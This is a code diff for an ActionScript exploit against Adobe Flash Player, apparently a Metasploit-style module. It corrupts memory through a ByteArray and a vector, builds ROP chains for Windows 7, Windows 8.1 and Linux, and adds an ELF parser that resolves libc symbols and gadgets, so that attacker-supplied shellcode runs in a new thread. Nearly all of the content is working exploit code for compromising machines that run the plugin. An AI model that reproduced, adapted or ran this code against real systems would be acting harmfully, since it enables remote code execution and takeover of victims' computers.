|
||||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
var pattern:RegExp = / /g;
|
var pattern:RegExp = / /g;
|
||||||
b64_payload = b64_payload.replace(pattern, "+")
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
b64.decode(b64_payload)
|
b64.decode(b64_payload)
|
||||||
payload = b64.toByteArray().toString()
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
for (var i:uint = 0; i < massage.length / 2; i++) {
|
// defrag
|
||||||
massage[i] = new Vector.<uint>(0x3e0)
|
for (var i:uint = 0; i < 10000; i++) new Vector.<uint>(0x3e0)
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||||
ba.compress()
|
ba.compress()
|
||||||
|
@ -49,10 +49,8 @@ package
|
||||||
try {
|
try {
|
||||||
ba.uncompress()
|
ba.uncompress()
|
||||||
} catch (e:Error) { }
|
} catch (e:Error) { }
|
||||||
|
uv = new Vector.<uint>(0x3e0)
|
||||||
for (i = massage.length / 2; i < massage.length; i++) {
|
uv[0] = 0
|
||||||
massage[i] = new Vector.<uint>(0x3e0)
|
|
||||||
}
|
|
||||||
|
|
||||||
var test:uint = li32(0)
|
var test:uint = li32(0)
|
||||||
if (test == 0x3e0) {
|
if (test == 0x3e0) {
|
||||||
|
@ -61,22 +59,8 @@ package
|
||||||
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
|
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
|
||||||
return // something failed
|
return // something failed
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
for (i = 0; i < massage.length; i++) {
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
if (massage[i].length == 0x3e0) {
|
|
||||||
massage[i] = null
|
|
||||||
} else {
|
|
||||||
Logger.log('[*] Exploit - corrupted vector found at ' + i)
|
|
||||||
uv = massage[i]
|
|
||||||
uv[0] = 0
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (uv.length != 0xffffffff)
|
|
||||||
return
|
|
||||||
|
|
||||||
exploiter = new Exploiter(this, platform, payload, uv)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -31,7 +31,6 @@ package
|
||||||
|
|
||||||
public function lets_ready():void
|
public function lets_ready():void
|
||||||
{
|
{
|
||||||
Logger.log("[*] ExploitByteArray - lets_ready()")
|
|
||||||
ba.endian = "littleEndian"
|
ba.endian = "littleEndian"
|
||||||
if (platform == "linux") {
|
if (platform == "linux") {
|
||||||
ba.length = 0xffffffff
|
ba.length = 0xffffffff
|
||||||
|
@ -40,7 +39,6 @@ package
|
||||||
|
|
||||||
public function is_ready():Boolean
|
public function is_ready():Boolean
|
||||||
{
|
{
|
||||||
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
|
|
||||||
if (ba.length == 0xffffffff)
|
if (ba.length == 0xffffffff)
|
||||||
return true
|
return true
|
||||||
|
|
||||||
|
@ -72,10 +70,15 @@ package
|
||||||
|
|
||||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
{
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
if (addr) ba.position = addr
|
if (addr) ba.position = addr
|
||||||
if (value is String) {
|
if (value is String) {
|
||||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
if (zero) ba.writeByte(0)
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
} else ba.writeUnsignedInt(value)
|
} else ba.writeUnsignedInt(value)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -9,8 +9,9 @@ package
|
||||||
private var exploit:Exploit
|
private var exploit:Exploit
|
||||||
private var ev:ExploitVector
|
private var ev:ExploitVector
|
||||||
private var eba:ExploitByteArray
|
private var eba:ExploitByteArray
|
||||||
private var payload:String
|
private var payload:ByteArray
|
||||||
private var platform:String
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
private var pos:uint
|
private var pos:uint
|
||||||
private var byte_array_object:uint
|
private var byte_array_object:uint
|
||||||
private var main:uint
|
private var main:uint
|
||||||
|
@ -23,13 +24,14 @@ package
|
||||||
private var payload_address:uint
|
private var payload_address:uint
|
||||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
private var spray:Vector.<Object> = new Vector.<Object>(80000)
|
private var spray:Vector.<Object> = new Vector.<Object>(89698)
|
||||||
|
|
||||||
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
{
|
{
|
||||||
exploit = exp
|
exploit = exp
|
||||||
payload = p
|
payload = p
|
||||||
platform = pl
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
ev = new ExploitVector(uv)
|
ev = new ExploitVector(uv)
|
||||||
if (!ev.is_ready()) return
|
if (!ev.is_ready()) return
|
||||||
|
@ -133,12 +135,19 @@ package
|
||||||
private function do_rop():void
|
private function do_rop():void
|
||||||
{
|
{
|
||||||
Logger.log("[*] Exploiter - do_rop()")
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
if (platform == "linux")
|
if (platform == "linux") {
|
||||||
do_rop_linux()
|
do_rop_linux()
|
||||||
else if (platform == "win")
|
} else if (platform == "win") {
|
||||||
do_rop_windows()
|
if (op_system == "Windows 8.1") {
|
||||||
else
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
return
|
return
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private function do_rop_windows():void
|
private function do_rop_windows():void
|
||||||
|
@ -147,11 +156,15 @@ package
|
||||||
var pe:PE = new PE(eba)
|
var pe:PE = new PE(eba)
|
||||||
var flash:uint = pe.base(vtable)
|
var flash:uint = pe.base(vtable)
|
||||||
var winmm:uint = pe.module("winmm.dll", flash)
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
var winexec:uint = pe.procedure("WinExec", kernel32)
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
// Continuation of execution
|
// Continuation of execution
|
||||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
@ -169,16 +182,101 @@ package
|
||||||
eba.write(0, virtualprotect)
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
// VirtualProtect
|
// VirtualProtect
|
||||||
eba.write(0, winexec)
|
eba.write(0, virtualalloc)
|
||||||
eba.write(0, buffer + 0x10)
|
eba.write(0, buffer + 0x10)
|
||||||
eba.write(0, 0x1000)
|
eba.write(0, 0x1000)
|
||||||
eba.write(0, 0x40)
|
eba.write(0, 0x40)
|
||||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
// WinExec
|
// VirtualAlloc
|
||||||
eba.write(0, buffer + 0x10)
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
eba.write(0, payload_address + 8)
|
eba.write(0, payload_address + 8)
|
||||||
eba.write(0)
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
exploit.toString() // call method in the fake vtable
|
exploit.toString() // call method in the fake vtable
|
||||||
|
@ -192,6 +290,8 @@ package
|
||||||
var libc:Elf = new Elf(eba, feof)
|
var libc:Elf = new Elf(eba, feof)
|
||||||
var popen:uint = libc.symbol("popen")
|
var popen:uint = libc.symbol("popen")
|
||||||
var mprotect:uint = libc.symbol("mprotect")
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
@ -204,9 +304,21 @@ package
|
||||||
// 2) Recover original stack
|
// 2) Recover original stack
|
||||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
// Put the popen parameters in memory
|
// Put the popen parameters in memory
|
||||||
eba.write(payload_address + 8, 'r', true) // type
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
eba.write(payload_address + 0xc, payload, true) // command
|
|
||||||
|
|
||||||
// Put the fake stack/vtable on memory
|
// Put the fake stack/vtable on memory
|
||||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
@ -221,13 +333,49 @@ package
|
||||||
eba.write(0, buffer) // addr
|
eba.write(0, buffer) // addr
|
||||||
eba.write(0, 0x1000) // size
|
eba.write(0, 0x1000) // size
|
||||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
// Return to popen()
|
|
||||||
eba.write(stack_address + 0x18068, popen)
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
// Return to CoE (fix stack and object vtable)
|
// Return to CoE (fix stack and object vtable)
|
||||||
eba.write(0, buffer + 0x10)
|
eba.write(0, buffer + 0x10)
|
||||||
// popen() argument
|
// clone() arguments
|
||||||
eba.write(0, payload_address + 0xc)
|
eba.write(0, 0x70000000) // code
|
||||||
eba.write(0, payload_address + 8)
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
//call DWORD PTR [eax+0x24]
|
//call DWORD PTR [eax+0x24]
|
||||||
//EAX: 0x41414141 ('AAAA')
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
|
|
@ -11,7 +11,6 @@ package
|
||||||
|
|
||||||
public function base(addr:uint):uint
|
public function base(addr:uint):uint
|
||||||
{
|
{
|
||||||
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
|
|
||||||
addr &= 0xffff0000
|
addr &= 0xffff0000
|
||||||
while (true) {
|
while (true) {
|
||||||
if (eba.read(addr) == 0x00905a4d) return addr
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
@ -54,10 +53,20 @@ package
|
||||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
{
|
{
|
||||||
var find:uint = 0
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
var value:uint = parseInt(gadget, 16)
|
var value:uint = parseInt(gadget, 16)
|
||||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
|
|
||||||
return addr + i
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,113 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||||
|
// 3. Download the Flex SDK (4.6)
|
||||||
|
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
